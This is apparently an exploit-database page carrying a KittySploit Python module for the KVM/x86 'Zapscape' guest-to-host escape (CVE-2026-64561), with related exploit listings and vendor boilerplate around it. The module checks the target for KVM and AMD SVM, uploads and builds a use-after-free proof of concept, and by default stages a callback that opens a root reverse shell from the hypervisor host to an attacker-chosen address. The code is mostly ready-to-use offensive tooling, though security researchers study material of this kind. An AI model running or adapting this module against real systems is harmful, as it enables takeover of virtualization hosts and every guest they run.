KVM x86 Zapscape Guest Escape (CVE-2026-64561)
| Reporter | Title | Published | Views | Family All 346 |
|---|---|---|---|---|
| Exploit for CVE-2026-64561 | 7 Aug 202601:28 | – | githubexploit | |
| Zapscape | 6 Aug 202615:36 | – | githubexploit | |
| Exploit for CVE-2026-64561 | 8 Aug 202602:13 | – | githubexploit | |
| Exploit for CVE-2026-64561 | 3 Oct 202618:40 | – | githubexploit | |
| Exploit for CVE-2026-64561 | 7 Aug 202615:51 | – | githubexploit | |
| CVE-2026-64561 | 4 Aug 202606:23 | – | attackerkb | |
| Amazon Linux 2023 : bpftool6.12, kernel6.12, kernel6.12-devel (ALAS2023-2026-2057) | 18 Aug 202600:00 | – | nessus | |
| Amazon Linux 2023 : bpftool, kernel, kernel-devel (ALAS2023-2026-2058) | 18 Aug 202600:00 | – | nessus | |
| Amazon Linux 2023 : bpftool6.18, kernel6.18, kernel6.18-devel (ALAS2023-2026-2071) | 31 Aug 202600:00 | – | nessus | |
| Amazon Linux 2 : kernel (ALASKERNEL-5.10-2026-129) | 18 Aug 202600:00 | – | nessus |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""KVM/x86 Zapscape guest-to-host escape (CVE-2026-64561)."""
from __future__ import annotations
import os
import shlex
import shutil
import subprocess
import tempfile
import time
from pathlib import Path
from kittysploit import *
from core.lib.compiler.zig_compiler import ZigCompiler
from lib.exploit.handler import Reverse
from lib.post.linux.kvm_host_session import (
PAYLOAD_MARKER,
PAYLOAD_REVERSE_SHELL,
ZAPSCAPE_CALLBACK,
callback_lhost,
callback_lport,
callback_script_body,
patch_zapscape_source,
payload_mode,
snapshot_session_ids,
stage_callback_script,
wait_for_new_sessions,
zapscape_umh_script,
)
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin
class Module(Post, Reverse, System, LinuxSessionMixin):
__info__ = {
"name": "KVM x86 Zapscape Guest Escape (CVE-2026-64561)",
"description": (
"Runs the Zapscape PoC (KVM/x86 mmu_page_zap_pte() recursive-zap UAF with KASLR "
"bypass) on a KVM/AMD hypervisor host via /dev/kvm. Default payload starts a reverse "
"TCP shell as root on the host (new KittySploit session). Marker-only mode creates "
"/Zapscape for lab verification."
),
"author": ["Hyunwoo Kim (@v4bel)", "KittySploit Team"],
"cve": ["CVE-2026-64561"],
"platform": [Platform.LINUX],
"arch": [Arch.X64],
"session_type": [SessionType.SHELL, SessionType.SSH],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-64561",
],
"tags": ["kvm", "x86", "amd", "svm", "guest-escape", "manage"],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 3,
"reversible": False,
"approval_required": True,
"produces": ["risk_signals"],
"cost": 2.5,
"noise": 0.9,
"value": 0.9,
"requires": {
"capabilities_any": ["shell"],
"capabilities_all": [],
},
"chain": {
"consumes_capabilities": ["shell"],
"produces_capabilities": ["shell"],
"option_bindings": {"payload": PAYLOAD_REVERSE_SHELL},
"suggested_followups": [],
},
},
}
remote_bin = OptString(
"/tmp/.ks_kvm64561/poc",
"Remote path for the compiled PoC binary",
required=True,
)
success_path = OptString("/Zapscape", "Host file created on successful escape", required=False)
payload = OptChoice(
PAYLOAD_REVERSE_SHELL,
"Host payload: reverse_shell opens root callback session; marker only touches success_path",
required=False,
choices=[PAYLOAD_REVERSE_SHELL, PAYLOAD_MARKER],
)
callback_host = OptString(
"",
"IP/host the KVM host can reach for reverse shell (default: lhost)",
required=False,
)
wait_seconds = OptInteger(
20,
"Seconds to wait for host reverse-shell callback after PoC trigger",
required=False,
)
use_remote_cache = OptBool(
True,
"Reuse cached binary on target for this kernel release",
required=False,
)
clear_cache = OptBool(False, "Delete remote cache for this kernel before run", required=False)
cleanup = OptBool(True, "Remove staged run-path binary after execution", required=False)
timeout = OptInteger(600, "PoC execution timeout in seconds", required=False)
confirm = OptBool(False, "Confirm intentional guest-to-host escape attempt", required=True)
@staticmethod
def _repo_root() -> Path:
return Path(__file__).resolve().parents[5]
def _exploit_dir(self) -> Path:
return self._repo_root() / "data" / "exploits" / "CVE-2026-64561"
@staticmethod
def _as_bool(value) -> bool:
if isinstance(value, bool):
return value
return str(value).strip().lower() in ("1", "true", "yes", "y", "on")
def _opt_int(self, val, default: int, minimum: int | None = None) -> int:
return self.linux_int_opt(val, default, minimum)
def _payload_mode(self) -> str:
return payload_mode(getattr(self.payload, "value", self.payload))
def _prepare_poc_source(self, success: str) -> str | None:
if self._payload_mode() == PAYLOAD_MARKER:
return None
lhost = callback_lhost(self, str(self.callback_host or "").strip())
lport = callback_lport(self)
if not lhost:
raise ValueError("lhost or callback_host is required for reverse_shell payload")
body = callback_script_body(lhost, lport, success)
if not stage_callback_script(self, ZAPSCAPE_CALLBACK, body):
raise RuntimeError(f"Could not stage host callback script at {ZAPSCAPE_CALLBACK}")
print_status(
f"Staged host callback script ({ZAPSCAPE_CALLBACK}) -> {lhost}:{lport} as root via UMH."
)
raw = (self._exploit_dir() / "poc.c").read_text(encoding="utf-8")
return patch_zapscape_source(raw, zapscape_umh_script())
def _target_kernel_release(self) -> str:
return (self.linux_execute("uname -r 2>/dev/null", pty=False) or "").strip()
def _cache_root(self, remote_bin: str) -> str:
base = os.path.dirname(remote_bin) or "/tmp/.ks_kvm64561"
return f"{base.rstrip('/')}/cache"
def _cache_bin_path(self, remote_bin: str, kver: str) -> str:
safe = kver.replace("/", "_")
return f"{self._cache_root(remote_bin)}/{safe}/poc"
def _prebuilt_local(self, kver: str) -> Path | None:
root = self._exploit_dir() / "prebuilt"
for candidate in (root / kver / "poc", root / "x86_64" / "poc"):
if candidate.is_file():
return candidate
return None
def _remote_cache_valid(self, cache_bin: str, kver: str) -> bool:
qbin = shlex.quote(cache_bin)
qkver = shlex.quote(kver)
qstamp = shlex.quote(f"{cache_bin}.kver")
out = self.linux_execute(
f"test -s {qbin} && test -x {qbin} && test -f {qstamp} && "
f"[ \"$(cat {qstamp} 2>/dev/null)\" = {qkver} ] && echo OK || echo MISS",
pty=False,
)
return "OK" in (out or "")
def _stamp_remote_cache(self, cache_bin: str, kver: str) -> None:
qstamp = shlex.quote(f"{cache_bin}.kver")
qkver = shlex.quote(kver)
self.linux_execute(f"printf '%s' {qkver} > {qstamp}", pty=False)
def _save_to_remote_cache(
self,
cache_bin: str,
kver: str,
*,
data: bytes | None = None,
src_bin: str | None = None,
) -> bool:
qdir = self.linux_shell_quote(os.path.dirname(cache_bin))
self.linux_execute(f"mkdir -p {qdir}", pty=False)
if data is not None:
if not self.linux_upload_bytes(data, cache_bin, executable=True, pty=False):
return False
elif src_bin:
qsrc = shlex.quote(src_bin)
qdst = shlex.quote(cache_bin)
self.linux_execute(f"cp -f {qsrc} {qdst} && chmod +x {qdst}", pty=False)
if not self.linux_file_exists(cache_bin):
return False
else:
return False
self._stamp_remote_cache(cache_bin, kver)
print_success(
f"Cached PoC on target ({self.linux_remote_file_size(cache_bin)} bytes, kver={kver})."
)
return True
def _copy_remote_bin(self, src: str, dst: str) -> bool:
if os.path.normpath(src) == os.path.normpath(dst):
return self.linux_file_exists(src)
qsrc = shlex.quote(src)
qdst = shlex.quote(dst)
qd = self.linux_shell_quote(os.path.dirname(dst) or ".")
self.linux_execute(f"mkdir -p {qd}", pty=False)
self.linux_execute(f"cp -f {qsrc} {qdst} && chmod +x {qdst}", pty=False)
return self.linux_file_exists(dst)
def _clear_remote_cache(self, remote_bin: str, kver: str) -> None:
cache_bin = self._cache_bin_path(remote_bin, kver)
qdir = shlex.quote(os.path.dirname(cache_bin))
self.linux_execute(f"rm -rf {qdir}", pty=False)
print_status(f"Remote cache cleared for kernel {kver}.")
def _build_local_zig(self, poc_source: str | None = None) -> bytes | None:
poc_src = self._exploit_dir() / "poc.c"
if poc_source is None and not poc_src.is_file():
return None
compiler = ZigCompiler()
if not compiler.is_available():
return None
with tempfile.TemporaryDirectory(prefix="ks_kvm64561_") as tmp:
work = Path(tmp)
(work / "poc.c").write_text(
poc_source if poc_source is not None else poc_src.read_text(encoding="utf-8"),
encoding="utf-8",
)
out_bin = work / "poc"
print_status("Local cross-compile with Zig (static, pthread)...")
try:
result = subprocess.run(
[
compiler.zig_path,
"cc",
"-target",
"x86_64-linux-gnu",
"-O2",
"-static",
"-pthread",
str(work / "poc.c"),
"-o",
str(out_bin),
],
capture_output=True,
text=True,
timeout=300,
cwd=str(work),
)
except Exception as exc:
print_warning(f"Local Zig build failed: {exc}")
return None
if result.returncode != 0 or not out_bin.is_file():
err = (result.stderr or result.stdout or "").strip()
if err:
print_warning(f"Local Zig build: {err[:400]}")
return None
data = out_bin.read_bytes()
print_success(f"Built poc locally with Zig ({len(data)} bytes).")
return data
def _build_on_target(self, remote_dir: str, poc_source: str | None = None) -> str | None:
poc_src = self._exploit_dir() / "poc.c"
if poc_source is None and not poc_src.is_file():
print_error(f"Missing bundled source: {poc_src}")
return None
qdir = self.linux_shell_quote(remote_dir)
self.linux_execute(f"mkdir -p {qdir}", pty=False)
remote_c = f"{remote_dir.rstrip('/')}/poc.c"
src_bytes = (
poc_source.encode("utf-8")
if poc_source is not None
else poc_src.read_bytes()
)
print_status(f"Uploading poc.c ({len(src_bytes)} bytes)...")
if not self.linux_upload_bytes(src_bytes, remote_c, pty=False):
return None
built = f"{remote_dir.rstrip('/')}/poc"
qbuilt = shlex.quote(built)
qc = shlex.quote(remote_c)
print_status("Remote compile (gcc -O2 -static -pthread)...")
out = self.linux_execute(
f"cd {qdir} && gcc -O2 -static -pthread {qc} -o {qbuilt} 2>&1",
timeout=300,
pty=False,
)
if out:
print_info(out)
if not self.linux_file_exists(built):
print_error("Remote gcc build failed — poc binary not found.")
return None
print_success(f"Built poc on target ({self.linux_remote_file_size(built)} bytes).")
return built
def _resolve_prebuilt_bytes(self, kver: str, *, load: bool) -> tuple[bytes | None, str]:
path = self._prebuilt_local(kver)
if path:
if load:
data = path.read_bytes()
print_success(f"Using framework prebuilt ({len(data)} bytes, {path.parent.name}).")
return data, "prebuilt"
return None, "prebuilt"
return None, "remote"
def _can_build_locally(self) -> bool:
return ZigCompiler().is_available() and (self._exploit_dir() / "poc.c").is_file()
def _ensure_poc_bin(
self,
remote_bin: str,
kver: str,
*,
poc_source: str | None = None,
) -> tuple[bool, str]:
cache_bin = self._cache_bin_path(remote_bin, kver)
remote_work = os.path.dirname(remote_bin) or "/tmp/.ks_kvm64561"
use_cache = poc_source is None and self._payload_mode() == PAYLOAD_MARKER
if self._as_bool(self.clear_cache):
self._clear_remote_cache(remote_bin, kver)
if use_cache and self._as_bool(self.use_remote_cache) and self._remote_cache_valid(cache_bin, kver):
print_success(
f"Remote cache hit ({self.linux_remote_file_size(cache_bin)} bytes, kver={kver})."
)
if self._copy_remote_bin(cache_bin, remote_bin):
return True, "remote_cache"
print_warning("Remote cache copy failed; rebuilding.")
if use_cache:
prebuilt, mode = self._resolve_prebuilt_bytes(kver, load=True)
if prebuilt is not None:
if self._save_to_remote_cache(cache_bin, kver, data=prebuilt):
if self._copy_remote_bin(cache_bin, remote_bin):
return True, mode
if self.linux_upload_bytes(prebuilt, remote_bin, executable=True, pty=False):
return True, mode
return False, mode
local = self._build_local_zig(poc_source)
if local is not None:
if use_cache and self._save_to_remote_cache(cache_bin, kver, data=local):
if self._copy_remote_bin(cache_bin, remote_bin):
return True, "local_zig"
if self.linux_upload_bytes(local, remote_bin, executable=True, pty=False):
return True, "local_zig"
return False, "local_zig"
built = self._build_on_target(remote_work, poc_source)
if not built:
return False, "remote_gcc"
if use_cache and not self._save_to_remote_cache(cache_bin, kver, src_bin=built):
print_warning("Remote build succeeded but cache write failed.")
if not self._copy_remote_bin(built, remote_bin):
return False, "remote_gcc"
return True, "remote_gcc"
def _has_kvm_access(self) -> bool:
out = self.linux_execute(
"test -c /dev/kvm && (test -r /dev/kvm && test -w /dev/kvm) && echo OK || echo NO",
pty=False,
)
return "OK" in (out or "")
def _cpu_has_svm(self) -> bool:
out = self.linux_execute(
"grep -E '(^| )svm( |$)' /proc/cpuinfo >/dev/null 2>&1 && echo OK || echo NO",
pty=False,
)
return "OK" in (out or "")
def _is_amd_host(self) -> bool:
vendor = (
self.linux_execute(
"grep -m1 -i vendor /proc/cpuinfo 2>/dev/null | cut -d: -f2",
pty=False,
)
or ""
).strip().lower()
return "amd" in vendor or "authenticamd" in vendor.replace(" ", "")
def check(self):
if not self.linux_require_linux():
return False
if not self._as_bool(self.confirm):
print_error("Refusing guest escape without confirm=true")
return False
arch = (self.linux_execute("uname -m 2>/dev/null", pty=False) or "").strip().lower()
if arch not in ("x86_64", "amd64"):
print_error(f"Architecture {arch or 'unknown'} is not supported (need x86_64).")
return False
if not (self._exploit_dir() / "poc.c").is_file():
print_error(f"Missing bundled source: {self._exploit_dir() / 'poc.c'}")
return False
kver = self._target_kernel_release()
if not kver:
print_error("Could not read target kernel release (uname -r).")
return False
if not self._has_kvm_access():
print_error(
"/dev/kvm is missing or not readable/writable — need KVM hypervisor access "
"(root or membership in the kvm group)."
)
return False
if not self._cpu_has_svm():
print_error("CPU lacks SVM — Zapscape targets AMD nested SVM/NPT on KVM/x86.")
return False
if not self._is_amd_host():
print_warning("CPU vendor is not AMD; PoC is tuned for AMD SVM/NPT nested KVM.")
if self._payload_mode() == PAYLOAD_REVERSE_SHELL:
lhost = callback_lhost(self, str(self.callback_host or "").strip())
if not lhost:
print_error(
"reverse_shell payload requires lhost (or callback_host) reachable from the KVM host."
)
return False
can_local = self._can_build_locally()
can_remote = self.linux_command_exists("gcc")
if not can_local and not can_remote:
print_error(
"reverse_shell requires a patched PoC rebuild (prebuilt/cache skipped) — "
"install gcc on target or enable local Zig cross-compile."
)
return False
print_status(
f"Host callback target {lhost}:{callback_lport(self)} — listener starts at run time."
)
print_status(
"Patched PoC will be rebuilt for reverse_shell (prebuilt and remote cache are skipped)."
)
else:
_, prebuilt_mode = self._resolve_prebuilt_bytes(kver, load=False)
cache_ok = False
if self._as_bool(self.use_remote_cache):
cache_bin = self._cache_bin_path(
str(self.remote_bin).strip() or "/tmp/.ks_kvm64561/poc", kver
)
cache_ok = self._remote_cache_valid(cache_bin, kver)
can_local = self._can_build_locally()
can_remote = self.linux_command_exists("gcc")
if prebuilt_mode != "prebuilt" and not cache_ok and not can_local and not can_remote:
print_error(
f"No prebuilt poc for {kver}, remote cache missing, Zig unavailable locally, "
"and target lacks gcc. Add "
f"data/exploits/CVE-2026-64561/prebuilt/{kver}/poc or install gcc on target."
)
return False
print_warning(
"CVE-2026-64561 targets Linux 7.1.3 x86_64 with hardcoded KASLR symbols. "
"Other kernel builds require address re-derivation in poc.c."
)
if self._payload_mode() == PAYLOAD_MARKER:
print_status(
"Guest-to-host escape — success creates "
f"{str(self.success_path).strip() or '/Zapscape'} as root (marker mode)."
)
return True
def run(self):
if not self.check():
return False
kver = self._target_kernel_release()
remote_bin = str(self.remote_bin).strip() or "/tmp/.ks_kvm64561/poc"
success = str(self.success_path).strip() or "/Zapscape"
qsuccess = shlex.quote(success)
mode = self._payload_mode()
before_sessions: set[str] = set()
poc_source: str | None = None
if mode == PAYLOAD_REVERSE_SHELL:
lhost = callback_lhost(self, str(self.callback_host or "").strip())
lport = callback_lport(self)
before_sessions = snapshot_session_ids(self.framework)
if not self.start_handler():
print_error("Could not start reverse TCP listener for host callback.")
return False
time.sleep(1.0)
try:
poc_source = self._prepare_poc_source(success)
except (ValueError, RuntimeError) as exc:
print_error(str(exc))
self.stop_handler()
return False
ok, source = self._ensure_poc_bin(remote_bin, kver, poc_source=poc_source)
if not ok:
if mode == PAYLOAD_REVERSE_SHELL:
self.stop_handler()
return False
if source != "remote_cache":
print_status(f"PoC staged from {source}.")
qbin = shlex.quote(remote_bin)
run_timeout = max(120, self._opt_int(self.timeout, 600, minimum=120))
print_warning(f"Running Zapscape PoC (timeout={run_timeout}s): {qbin}")
if mode == PAYLOAD_REVERSE_SHELL:
print_status(
"UMH will run staged callback as root on the host; watch for a new shell session."
)
else:
print_status(
"PoC forks a VM-owning child — parent exits after host-side marker creation."
)
out = self.linux_execute(qbin, timeout=run_timeout, pty=False)
if out:
print_info(out)
success_flag = False
if mode == PAYLOAD_REVERSE_SHELL:
wait_s = max(5, self._opt_int(self.wait_seconds, 20, minimum=5))
new_sessions = wait_for_new_sessions(self.framework, before_sessions, wait_s)
if new_sessions:
print_success(
f"Host root callback session(s): {', '.join(new_sessions)} — use 'sessions' to interact."
)
success_flag = True
else:
print_warning(
f"No callback within {wait_s}s. Ensure {callback_lhost(self, str(self.callback_host or '').strip())}:"
f"{callback_lport(self)} is reachable from the KVM host."
)
marker = self.linux_execute(
f"test -f {qsuccess} && ls -la {qsuccess} || echo MISSING",
pty=False,
)
if marker and "MISSING" not in marker:
print_success(f"Host escape indicator present: {success}")
print_info(marker.strip())
success_flag = True
elif out and ("[+] /Zapscape created" in out or "exploit completed" in out.lower()):
print_success("PoC reported successful host-side file creation.")
success_flag = True
elif mode == PAYLOAD_MARKER and not success_flag:
print_warning(
f"Success marker {success!r} not found. KASLR/MM spray is timing-sensitive — retry."
)
if self._as_bool(self.cleanup):
self.linux_execute(f"rm -f {qbin}", pty=False)
print_status("Staged run-path binary removed (remote cache preserved).")
return success_flag
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Aug 2026 10:07Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.18.8
EPSS0.00347